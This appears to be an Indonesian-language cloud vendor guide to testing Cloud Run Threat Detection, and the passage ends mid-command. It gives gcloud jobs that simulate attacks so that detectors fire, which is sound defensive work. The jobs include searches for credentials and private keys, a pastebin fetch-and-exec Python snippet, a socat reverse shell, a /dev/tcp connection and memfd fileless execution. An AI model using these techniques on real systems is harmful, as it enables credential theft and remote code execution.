Menguji Deteksi Ancaman Cloud Run

Halaman ini menjelaskan cara memverifikasi bahwa Cloud Run Threat Detection berfungsi dengan memicu detektor secara sengaja dan memeriksa temuan. Cloud Run Threat Detection adalah layanan bawaan Security Command Center.

Sebelum memulai

Untuk mendeteksi potensi ancaman terhadap layanan dan tugas Cloud Run, pastikan bahwa Cloud Run Threat Detection layanan diaktifkan di Security Command Center. Beberapa detektor dinonaktifkan secara default. Untuk menguji detektor tersebut, Anda harus mengaktifkannya terlebih dahulu.

Menetapkan variabel lingkungan

Untuk menguji detektor, gunakan Google Cloud console dan Cloud Shell. Anda dapat menetapkan variabel lingkungan di Cloud Shell agar lebih mudah menjalankan perintah. Anda akan menggunakan variabel ini untuk menguji semua detektor.

  1. Buka Google Cloud konsol.

    Buka Google Cloud konsol

  2. Pilih project yang berisi tugas Cloud Run yang ingin Anda gunakan untuk pengujian.

  3. Klik Aktifkan Cloud Shell.

  4. Di Cloud Shell, tetapkan variabel lingkungan:

    1. Tetapkan project dan region tempat Anda akan membuat tugas pengujian.

      export PROJECT=PROJECT_ID
      export REGION=REGION
      

Setelah menetapkan variabel lingkungan, Anda dapat terus mengikuti petunjuk untuk menguji detektor.

Perintah dan Kontrol: Alat Steganografi Terdeteksi

Untuk memicu temuan Command and Control: Steganography Tool Detected (Pratinjau) , jalankan program biner dengan kapabilitas manipulasi file yang konsisten dengan alat steganografi dalam container. Contoh ini menyalin /bin/ls dan mengganti namanya menjadi steghide.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-steganography-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/steghide; sleep 60; /tmp/steghide; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Command and Control: Steganography Tool Detected.

Akses Kredensial: Find Google Cloud Credentials

Untuk memicu temuan Credential Access: Find Google Cloud Credentials, jalankan biner yang dapat menelusuri konten file dalam container. Contoh ini menyalin /bin/ls, mengganti namanya menjadi grep, dan menjalankannya dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-find-creds-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/grep; sleep 60; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Credential Access: Find Google Cloud Credentials.

Akses Kredensial: Pengintaian Kunci GPG

Untuk memicu temuan Credential Access: GPG Key Reconnaissance, jalankan alat penelusuran dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-gpg-key-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find secring.gpg; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Credential Access: GPG Key Reconnaissance.

Akses Kredensial: Menelusuri Kunci Pribadi atau Sandi

Untuk memicu temuan Credential Access: Search Private Keys or Passwords, jalankan alat penelusuran dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-search-keys-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/find; sleep 60; /tmp/find id_rsa; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Credential Access: Search Private Keys or Passwords.

Penghindaran Pertahanan: Command Line File ELF Base64

Untuk memicu temuan Defense Evasion: Base64 ELF File Command Line, jalankan base64 dengan argumen header ELF yang dienkode.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-base64-elf-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; base64 -d f0VMRgIB; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini akan membuat dua temuan Defense Evasion: Base64 ELF File Command Line.

Penghindaran Pertahanan: Skrip Python Berenkode Base64 Dieksekusi

Untuk memicu temuan Defense Evasion: Base64 Encoded Python Script Executed, jalankan echo dengan perintah Python yang dienkode.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-base64-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 aW1wb3J0IH; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Python Script Executed.

Penghindaran Pertahanan: Skrip Shell Berenkode Base64 Dieksekusi

Untuk memicu temuan Defense Evasion: Base64 Encoded Shell Script Executed, jalankan echo dengan perintah shell yang dienkode.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-base64-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; base64 IyEvYmluL3NoC; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Defense Evasion: Base64 Encoded Shell Script Executed.

Penghindaran Pertahanan: Meluncurkan Alat Compiler Kode Dalam Container

Untuk memicu temuan Defense Evasion: Launch Code Compiler Tool In Container (Pratinjau), jalankan alat compiler.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-launch-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/gcc10; sleep 60; /tmp/gcc10 -o /tmp/gcc10.o; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Defense Evasion: Launch Code Compiler Tool In Container.

Eksekusi: Biner Berbahaya yang Ditambahkan Dieksekusi

Untuk memicu temuan Execution: Added Malicious Binary Executed, tambahkan biner berbahaya (EICAR) ke container Anda dan jalankan.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-added-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Added Malicious Binary Executed.

Eksekusi: Library Berbahaya yang Ditambahkan Dimuat

Untuk memicu temuan Execution: Added Malicious Library Loaded, tambahkan library berbahaya di container Anda dan muat. Contoh ini memperbarui file /tmp/test_mal_lib dengan library berbahaya yang disimulasikan, lalu memuatnya menggunakan mmap. Pemuatan library dari file yang ada tidak terduga karena file tersebut tidak ada dalam image container asli dan library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-add-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Added Malicious Library Loaded.

Eksekusi: Container Escape

Untuk memicu temuan Execution: Container Escape, jalankan alat yang mensimulasikan perilaku container escape.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/botb-linux-amd64; sleep 60; /tmp/botb-linux-amd64 -autopwn; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Container Escape.

Eksekusi: Eksekusi Tanpa File di /memfd:

Untuk memicu temuan Execution: Fileless Execution in /memfd:, jalankan proses dari sistem file dalam memori /memfd: menggunakan Python.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-fileless-memfd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE=$(cat <<EOF
import os,sys
f = open('/bin/ls','rb')
execdata = f.read()
f.close()
fd = os.memfd_create('', 0)
fname = '/proc/self/fd/{}'.format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ['/bin']
os.execve(fname, args, os.environ)
EOF
)
B64_PAYLOAD=$(echo "$PYTHON_CODE" | base64 -w 0)
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image python:latest \
      --command bash \
      --args "-c","sleep 60; echo $B64_PAYLOAD | base64 -d | python3 ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Fileless Execution in /memfd:.

Eksekusi: Eksekusi Alat Serangan Kubernetes

Untuk memicu temuan Execution: Kubernetes Attack Tool Execution, jalankan program yang cocok dengan alat serangan yang dikenal.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-k8s-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/amicontained; sleep 60; /tmp/amicontained; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Kubernetes Attack Tool Execution.

Eksekusi: Eksekusi Alat Pengintaian Lokal

Untuk memicu temuan Execution: Local Reconnaissance Tool Execution, jalankan program yang cocok dengan alat pengintaian.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-local-recon-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","cp /bin/ls /tmp/linenum.sh; sleep 60; /tmp/linenum.sh; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Local Reconnaissance Tool Execution.

Eksekusi: Python Berbahaya Dieksekusi

Untuk memicu temuan Execution: Malicious Python Executed, jalankan skrip Python yang meniru perilaku berbahaya.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
PYTHON_CODE="import urllib
import base64
import os

url = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
f = os.popen(str(page))
url = 'https://pastebin.com/raw/Z'
d = 'https://pastebin.com/raw/Z'
page = base64.b64decode(urllib.urlopen(url).read())
page = ''
exec(page)"

gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/python:latest \
      --task-timeout 700 \
      --command bash \
      --args "-c","sleep 601; python -c \"${PYTHON_CODE}\" ; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Malicious Python Executed. Perhatikan bahwa pengujian ini dapat memerlukan waktu hingga 15 menit untuk menghasilkan temuan.

Eksekusi: Biner Berbahaya yang Diubah Dieksekusi

Untuk memicu temuan Execution: Modified Malicious Binary Executed, ubah biner agar cocok dengan tanda tangan berbahaya yang dikenal (EICAR).

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-mod-malicious-bin-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo -n '$eicar' > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Modified Malicious Binary Executed.

Eksekusi: Library Berbahaya yang Diubah Dimuat

Untuk memicu temuan Execution: Modified Malicious Library Loaded, ubah file yang ada dengan library berbahaya di container Anda dan muat. Contoh ini memperbarui file /etc/issue dengan library berbahaya yang disimulasikan, lalu memuatnya menggunakan mmap. Pemuatan library dari file yang ada tidak terduga karena library adalah file pengujian EICAR, yang diklasifikasikan sebagai berbahaya oleh threat intelligence.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-mod-malicious-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << 'EOF2' > JOB_NAME.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo -n 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' > /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
EOF2
ENCODED_SCRIPT=$(base64 -w 0 JOB_NAME.sh)
rm -f JOB_NAME.sh
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan `Execution: Modified Malicious Library Loaded.

Eksekusi: Keterampilan Berbahaya yang Ditambahkan Dieksekusi

Untuk memicu temuan Execution: Added Malicious Skill Executed, tambahkan biner keterampilan berbahaya ke container Anda dan jalankan.

Buat dan jalankan tugas Cloud Run:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-added-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","echo '$b64_payload' | base64 -d > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; sleep 60; /tmp/test_mal_file; sleep 10; sha256sum /tmp/test_mal_file" \
      --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Added Malicious Skill Executed.

Eksekusi: Keterampilan Berbahaya yang Diubah Dieksekusi

Untuk memicu temuan Execution: Modified Malicious Skill Executed, ubah program biner agar cocok dengan tanda tangan keahlian berbahaya yang dikenal.

Buat dan jalankan tugas Cloud Run:

   b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
   JOB_NAME="crtd-test-mod-malicious-skill-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command sh \
       --args "-c","echo '$b64_payload' | base64 -d > /etc/issue; chmod 700 /etc/issue; sleep 60; /etc/issue; sleep 10; sha256sum /etc/issue" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Modified Malicious Skill Executed.

Eksekusi: Keterampilan Berbahaya yang Ditambahkan Dimuat

Untuk memicu temuan Execution: Added Malicious Skill Loaded, tambahkan library keterampilan berbahaya di container Anda dan muat. Contoh ini memperbarui file /tmp/test_mal_lib dengan library keterampilan berbahaya yang disimulasikan, lalu memuatnya menggunakan mmap. Pemuatan library dari file yang ada tidak terduga karena file tersebut tidak ada dalam image container asli dan library berisi hash pengujian tertentu yang diklasifikasikan sebagai keterampilan berbahaya oleh threat intelligence.

Buat dan jalankan tugas Cloud Run:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-add-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /tmp/test_mal_lib
chmod 700 /tmp/test_mal_lib
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /tmp/test_mal_lib
sleep 10
sha256sum /tmp/test_mal_lib
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Added Malicious Skill Loaded.

Eksekusi: Keterampilan Berbahaya yang Diubah Dimuat

Untuk memicu temuan Execution: Modified Malicious Skill Loaded, ubah file yang ada dengan library keterampilan berbahaya di container Anda dan muat. Contoh ini memperbarui file /etc/issue dengan library keterampilan berbahaya yang disimulasikan, lalu memuatnya menggunakan mmap. Pemuatan library dari file yang ada tidak terduga karena library berisi hash pengujian tertentu yang diklasifikasikan sebagai keterampilan berbahaya oleh threat intelligence.

Buat dan jalankan tugas Cloud Run:

b64_payload=$(echo 'int main(){/*Malicious Skill Test*/return 0;}' > dummy.c && export SOURCE_DATE_EPOCH=1600000000 && gcc -ffile-prefix-map="$(pwd)=." -Wl,--build-id=none dummy.c -o dummy && base64 -w 0 dummy)
JOB_NAME="crtd-test-mod-malicious-skill-lib-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
cat << EOF2 > ${JOB_NAME}.sh
apt-get update && apt-get install -y gcc libc-dev --no-install-recommends > /dev/null 2>&1
echo '$b64_payload' | base64 -d > /etc/issue
chmod 700 /etc/issue
cat << 'EOF' > /tmp/loader.c
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char *argv[]) {
   int fd = open(argv[1], O_RDONLY);
   if (fd == -1) return 1;
   struct stat sb;
   if (fstat(fd, &sb) == -1) return 1;
   void* addr = mmap(NULL, sb.st_size, PROT_EXEC, MAP_PRIVATE, fd, 0);
   if (addr == MAP_FAILED) return 1;
   write(1, addr, sb.st_size);
   munmap(addr, sb.st_size);
   close(fd);
   return 0;
}
EOF
gcc /tmp/loader.c -o /tmp/loader
sleep 30
/tmp/loader /etc/issue
sleep 10
sha256sum /etc/issue
EOF2
ENCODED_SCRIPT=$(base64 -w 0 ${JOB_NAME}.sh)
rm -f ${JOB_NAME}.sh
gcloud run jobs create $JOB_NAME \
   --project $PROJECT \
   --region $REGION \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --command bash \
   --args "-c","echo $ENCODED_SCRIPT | base64 -d | bash" \
   --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Modified Malicious Skill Loaded`.

Eksekusi: Eksekusi Kode Jarak Jauh Netcat Dalam Container

Untuk memicu peristiwa Execution: Netcat Remote Code Execution In Container, jalankan netcat dengan argumen yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-netcat-rce-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","cp /bin/ls /tmp/nc; sleep 60; /tmp/nc -e; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Netcat Remote Code Execution In Container.

Eksekusi: Kemungkinan Eksekusi Perintah Arbitrer melalui CUPS (CVE-2024-47076)

Untuk memicu temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076), jalankan skrip yang mensimulasikan eksploitasi.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-cups-cve-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c",'sleep 60; cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10' \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47076).

Eksekusi: Kemungkinan Eksekusi Perintah Jarak Jauh Terdeteksi

Untuk memicu temuan Execution: Possible Remote Command Execution Detected (Pratinjau), jalankan perintah yang mencoba koneksi jarak jauh.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; cp /bin/ls /tmp/touch; echo \"Hello\" | /tmp/touch >& /dev/tcp/8.8.8.8/53; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Possible Remote Command Execution Detected.

Eksekusi: Program Berjalan dengan Env Proxy HTTP yang Tidak Diizinkan

Untuk memicu temuan Execution: Program Run with Disallowed HTTP Proxy Env, jalankan program dengan variabel lingkungan proxy yang buruk.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Program Run with Disallowed HTTP Proxy Env.

Eksekusi: Reverse Shell Socat Terdeteksi

Untuk memicu temuan Execution: Socat Reverse Shell Detected, buat reverse shell menggunakan utilitas socat.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-socat-rev-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
RAW_SOCAT="timeout 10s /usr/bin/socat TCP-LISTEN:4444,reuseaddr,fork STDOUT & sleep 5 && timeout 5s /usr/bin/socat TCP:127.0.0.1:4444 EXEC:/bin/bash,pty,stderr || true"
B64_SOCAT=$(echo -n "$RAW_SOCAT" | base64 | tr -d '\n\r ')
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command bash \
      --args "-c","sleep 60; apt-get update && apt-get install socat -y && echo $B64_SOCAT | base64 -d | bash" \
      --execute-now \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Socat Reverse Shell Detected.

Eksekusi: Objek Bersama OpenSSL Mencurigakan Dimuat

Untuk memicu temuan Execution: Suspicious OpenSSL Shared Object Loaded, jalankan openssl dengan library yang mencurigakan.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-openssl-so-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/openssl; /tmp/openssl engine /tmp/fakelib.so; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Execution: Suspicious OpenSSL Shared Object Loaded.

Eksfiltrasi: Meluncurkan Alat Salin File Jarak Jauh Dalam Container

Untuk memicu temuan Exfiltration: Launch Remote File Copy Tools In Container, jalankan alat salin jarak jauh.

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-remote-copy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
      --region $REGION \
      --image marketplace.gcr.io/google/ubuntu2404:latest \
      --command sh \
      --args "-c","sleep 60; cp /bin/ls /tmp/rsync; /tmp/rsync; sleep 10" \
      --wait
gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

Prosedur pengujian ini membuat temuan Exfiltration: Launch Remote File Copy Tools In Container.

Dampak: Mendeteksi Cmdline Berbahaya

Untuk memicu temuan Impact: Detect Malicious Cmdlines (Pratinjau), jalankan nama perintah yang mencurigakan (IPFS).

Buat dan jalankan tugas Cloud Run:

JOB_NAME="crtd-test-malicious-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
gcloud run jobs create $JOB_NAME \
      --project $PROJECT \
